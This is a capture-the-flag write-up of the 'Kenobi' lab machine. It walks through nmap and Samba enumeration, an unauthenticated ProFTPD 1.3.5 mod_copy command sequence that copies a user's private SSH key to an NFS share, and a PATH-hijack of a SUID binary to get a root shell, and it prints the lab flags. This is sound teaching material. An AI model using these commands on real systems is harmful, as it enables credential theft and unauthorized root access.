Kenobi Writeup

Kenobi is a room walking through the exploitation of a Linux machine. It involves enumerating Samba shares, exploiting vulnerable programs, and privilege escalation.

Recon

We start with a basic nmap scan.

Command:

nmap –top-ports 10000 [target]

└─$ nmap --top-ports 10000 [target]

Nmap scan report for [target]
Host is up (0.024s latency).
Not shown: 8333 closed ports

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 6.25 seconds

We see that both FTP and SSH are open on ports 21 and 22 respectively, and there is a web server running on port 80.

Port 111 has the rpcbind service running. According to the Linux manual page, rcpbind is a service for converting RPC program numbers into universal addresses. RPC (remote procedure call) program numbers are identifiers that allow remote machines to access programs on a server. When an RPC service is started, it tells the rpcbind service the address at which it is listening, and the RPC program it is serving.

Port 139 has NetBIOS running. NetBIOS (network basic input/output system) allows communication over local area networks. SMB (server message block) used to run on top of NetBIOS on port 139.

Port 445 is running microsoft-ds. Windows uses this service for SMB (server message block), a protocol for file-sharing over a network. SMB over port 445 runs on top of the TCP stack, so SMB file sharing can be run over the internet.

Port 2049 has nfs_acl running. This is a service for remote computers to access NFS (network file system) file shares.

Now we know the open ports, let’s do a more aggressive scan of these ports.

Command:

nmap -O -sC -sV -p 21,22,80,111,139,445,2049 [target]

└─$ sudo nmap -O -sC -sV -p 21,22,80,111,139,445,2049 [target]

Nmap scan report for [target]
Host is up (0.023s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5

22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)

80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      32824/udp6  mountd
|   100005  1,2,3      35403/udp   mountd
|   100005  1,2,3      35455/tcp   mountd
|   100005  1,2,3      46791/tcp6  mountd
|   100021  1,3,4      33541/tcp   nlockmgr
|   100021  1,3,4      34289/tcp6  nlockmgr
|   100021  1,3,4      36771/udp   nlockmgr
|   100021  1,3,4      40170/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

2049/tcp open  nfs_acl     2-3 (RPC #100227)

No exact OS matches for host (test conditions non-ideal).

Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m11s, median: 0s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2022-09-03T07:19:22-05:00

| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required

| smb2-time:
|   date: 2022-09-03T12:19:23
|_  start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 20.50 seconds

Let’s examine this output. We see that the FTP service on port 21 is using ProFTPD 1.3.5, and SSH on port 22 is running OpenSSH 7.2p2 on Ubuntu 2.7. Port 80 is running Apache 2.4.18, and we see an admin subdirectory taken from the /robots.txt file.

The rpcinfo nmap script that ran on port 111 was more enlightening. This gave us a list of RPC values, and more ports and services. We see that mountd is running on ports 32824, 35403, 35455, and 46791. nlockmgr is running on ports 33541, 34289, 36771, and 40170. mountd is an RPC service that answers client requests to mount a file system. Mounting a file system attaches that file system to a directory and makes it available to the system. nlockmgr is an RPC service for locking files in NFS.

We have also learnt that ports 139 and 445 are using Samba shares. Samba allows for file sharing over multiple operating systems.

The nmap scripts that ran gave us some valuable information. We now know that Samba is using version 4.3.11 for Ubuntu, the computer’s name is kenobi, the NetBIOS name is KENOBI\x00 and smb2 does not require message signing.

We now run another aggressive nmap scan on the new ports and services discovered by the rpcinfo script. We first run a scan against the TCP ports, then a UDP scan with the -sU flag on the UDP ports.

Nmap scan report for [target]
Host is up (0.019s latency).

PORT      STATE  SERVICE  VERSION
33541/tcp open   nlockmgr 1-4 (RPC #100021)
34289/tcp closed unknown
35455/tcp open   mountd   1-3 (RPC #100005)
46791/tcp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
Nmap scan report for [target]
Host is up (0.021s latency).

PORT      STATE  SERVICE  VERSION
32824/udp closed unknown
35403/udp open   mountd   1-3 (RPC #100005)
36771/udp open   nlockmgr 1-4 (RPC #100021)
40170/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds

Neither of these scans gave us any more interesting information. Since this machine is running lots of file sharing services, we can deduce that the rpcbind service is being used for access to a network file system.

Let’s now run some nmap scripts on the rpcbind service on port 111.

Command:

nmap –script=nfs-ls,nfs-statfs,nfs-showmount -p 111 [target]

└─$ nmap --script=nfs-ls,nfs-statfs,nfs-showmount -p 111 [target]

Nmap scan report for 10.10.102.223
Host is up (0.020s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds

We see that the mount point for this NFS is /var.

Next, we will check out that web server on port 80 and its /admin subdirectory.

alt text

alt text

There was also nothing in the page source - clearly a red herring. It appears the Samba shares are the best route to go down.

Enumerating Samba Shares

Nmap has some scripts for enumerating Samba shares - smb-enum-shares and smb-enum-users. We run these scripts.

Command:

nmap –script=smb-enum-shares.nse,smb-enum-users.nse [target]

└─$ nmap --script=smb-enum-shares.nse,smb-enum-users.nse [target]

Nmap scan report for [target]
Host is up (0.036s latency).

Host script results:

| smb-enum-shares:
|   account_used: guest
|   \\10.10.102.223\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE

|   \\10.10.102.223\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE

|   \\10.10.102.223\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds

We have three shares here - IPC$, anonymous and print$. Anonymous sounds interesting, and it allows anonymous users to read and write to it. We will now use SMBClient to connect to anonymous.

Command:

smbclient //[target]/anonymous

└─$ smbclient //[target]/anonymous                        
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6877092 blocks available

Turns out we don’t even need a password to enter the share! Let’s download this log.txt file to our local system with the mget command - it could have some juicy information.

The contents of log.txt were quite long - below are the most informative parts.

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

We have some SSH information, including a key fingerprint and randomart. We also know that the SSH username is kenobi, and the private key is stored in /home/kenobi/.ssh/id_rsa.

# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask                           022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances                    30

# Set the user and group under which the server will run.
User                            kenobi
Group                           kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
AllowOverwrite          on

# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
  DenyAll
</Limit>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User                          ftp
  Group                         ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias                     anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients                    10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin                  welcome.msg
  DisplayChdir                  .message

  # Limit WRITE everywhere in the anonymous chroot
  <Limit WRITE>
    DenyAll
  </Limit>
</Anonymous>

We have some configuration information on the ProFTPD FTP server. It allows for anonymous logins with the user ftp or anonymous, runs under the user kenobi and files are overwritable.

There is also a lot of Samba configuration information. The line below suggests that the Samba shares are not protected with a firewall.

# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes

The Samba log file is located at /var/log/samba/log.%m.

Guests are able to read and browse the path /home/kenobi/share, as suggested by the line below.

[anonymous]
   path = /home/kenobi/share
   browseable = yes
   read only = yes
   guest ok = yes

Exploiting ProFtpd

Now that we have some knowledge of the Samba shares and FTP service, we will try to exploit the ProFTPD service running on port 21. ProFTPD is an open-source FTP server, used on Windows and Unix systems. Rapid7 has a page about exploiting the mod_copy module of ProFTPD 1.3.5 here. This module implements the commands SITE CPFR and SITE CPTO, which allow for copying files from one location to another on the server. Read more about the mod_copy module here. Turns out these commands do not require authentication to use.

We can copy kenobi’s private SSH key (stored in /home/kenobi/.ssh/id_rsa) to the mount point, /var. We will then mount this drive to our own machine, and access the private key.

We connect to the service with netcat and copy the private key to the mount point.

Commands:

nc [target] 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

└─$ nc [target] 21                                               
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [ [target] ]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

The file has been successfully copied. We now mount the /var directory to our machine.

Commands:

mkdir mnt/kenobi
mount [target]:/var mnt/kenobi (requires sudo privileges)
ls mnt/kenobi/tmp

└─$ sudo mkdir mnt/
└─$ sudo mount [target]:/var /mnt/kenobi
└─$ cd kenobi                                          
└─$ ls tmp      
id_rsa
(...)

We can see id_rsa in our own system - this is kenobi’s SSH private key!

Initial Access to Kenobi

We can now have all the ingredients we need to SSH into Kenobi’s account. We first modify the permissions of id_rsa to read-only using chmod 600 tmp/id_rsa, then SSH in.

Command:

ssh kenobi@[target] -i tmp/id_rsa

─$ ssh kenobi@[target] -i tmp/id_rsa    
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$

We are now in kenobi’s account!

kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899

We have now found the first flag, in user.txt

Privilege Escalation

We now want to elevate our privileges and gain root access. One method of privilege escalation is through files with their SUID or SGID bits set. SUID or SGID files are executed as the file or group owner, respectively. For some binaries, such as passwd, any user needs to be able to run it to change their own password. However, misconfigured SUID or SGID files can lead to all sorts of privilege escalation related issues.

Let’s search for any SUID files we can exploit. We can use the find command in Linux. We search the entire root directory \, for anything with SUID permissions set -perm -u=s, that are files -type f. We also send any blocked searches and errors to /dev/null so that they don’t appear on screen.

Command:

find / -perm -u=s -type f 2>/dev/null

This gave a list of fairly normal looking binaries, except for /usr/bin/menu.

When menu is run, we are (unsurprisngly) met with a menu.

kenobi@kenobi:/usr/bin$ ./menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :

When 1 is selected, we get an HTTP response indicating the status of a web server (presumably the red herring webpage from before)

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2022 16:09:35 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

When 2 is selected, we get the kernel version, 4.8.0-58-generic.

When 3 is selected, we get the output from running the command ifconfig.

So this binary is running commands as the file owner, since it has its SUID bit set. We see that the owner of this file is root, so this binary is running commands as root.

Command:

ls -la menu

-rwsr-xr-x 1 root root 8880 Sep  4  2019 menu

Let’s investigate this binary further by checking out what strings are left in the compiled binary.

Command:

strings menu

(...)
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
(...)

These interesting strings are present in the binary. We see that it is running curl, uname and ifconfig without quoting the full file path (i.e. it is running uname -r, not /usr/bin/uname -r). This may seem like unnecessary nitpicking at the developer, but this is in fact a serious vulnerability.

We can create a new file called ifconfig in /tmp, pop a shell into our new fake ifconfig file, and run the menu binary. Since menu is running these commands as root, and there is no full path for the binary to find the true ifconfig, it will run our malicious version instead, giving us a root shell.

Commands:

cd /tmp
touch ifconfig
echo “/bin/sh” > ifconfig
chmod +x ifconfig
/usr/bin/menu

This did not work at first, I was getting the same ifconfig output as before. This is because menu was still running the original ifconfig file. We forgot a crucial step - changing the path variable. /tmp was added to the front of PATH, so that menu executes ifconfig from /tmp.

Command:

export PATH=/tmp:$PATH

Now when menu was run, we got a root shell!

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
# whoami
root

After exploring around a bit, we find the final flag in the root.txt file.

# pwd
/tmp
# cd ../root
# ls
root.txt
# cat root.txt
177b3cd8562289f37382721c28381f02
#

Tools Used

  • Nmap
  • Samba shares
  • smbclient
  • ProFTPD
  • Netcat

Conclusion

In this room, we explored a Linux file sharing system over SMB, using Samba. We enumerated Samba shares, exfiltrated data, and exploited a vulnerable FTP client. To gain root, we then exploited a SUID misconfiguration, and exploited a missing file path vulnerability.

This room highlighted the importance of effective reconnaissance at the beginning of a penetration test. Through a detailed reconnaissance process, we uncovered lots of information that helped us later. For example, we found the mountable drive \var, the name of the SSH user kenobi, and the version of ProFTPD which led us to an exploit. This also highlights the importance of hiding information from potential malicious actors, no matter how mundane it may seem on its own - any piece of information about a system could help an attacker, so must be well hidden.

Kenobi room

Rapid7 report on exploiting ProFTPD 1.3.5

ProFTDP mod_copy module